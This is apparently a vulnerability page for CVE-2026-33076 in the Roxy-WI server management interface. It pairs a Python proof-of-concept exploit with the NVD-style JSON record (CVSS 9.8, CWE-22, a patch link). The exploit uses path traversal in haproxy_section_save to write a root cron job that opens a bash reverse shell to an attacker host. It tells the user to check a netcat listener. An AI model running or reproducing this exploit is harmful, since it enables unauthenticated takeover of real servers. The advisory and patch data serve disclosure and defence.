CVE-2026-33076

import requests # PoC for CVE-2026-33076 # Description: Exploits path traversal in haproxy_section_save to write arbitrary data to cron jobs. # Target: Roxy-WI < 8.2.6.4 target_url = "http://target-ip:port/haproxy_section_save" # The malicious payload to write into the cron file # This example creates a simple reverse shell malicious_cron = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" # Path traversal payload to escape the web directory path_traversal = "../../../../../../etc/cron.d/poc_exploit" data = { "path": path_traversal, "schedule": malicious_cron, "action": "save" } headers = { "User-Agent": "Mozilla/5.0 (CVE-2026-33076-Analyst)", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check your netcat listener.") else: print(f"[-] Request failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33076", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:10.227", "lastModified": "2026-04-27T15:03:04.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.4, the haproxy_section_save interface presents a vulnerability that could lead to remote code execution due to path traversal and writing into scheduled tasks. Version 8.2.6.4 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2.6.4", "matchCriteriaId": "C493C2DE-0B9D-48E1-BEDA-9ECBE24DB508"}]}]}], "references": [{"url": "https://github.com/roxy-wi/roxy-wi/commit/aecc7971959092fa93e93531f1ffcde33524b031", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mmgm-p9x9-h33j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mmgm-p9x9-h33j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}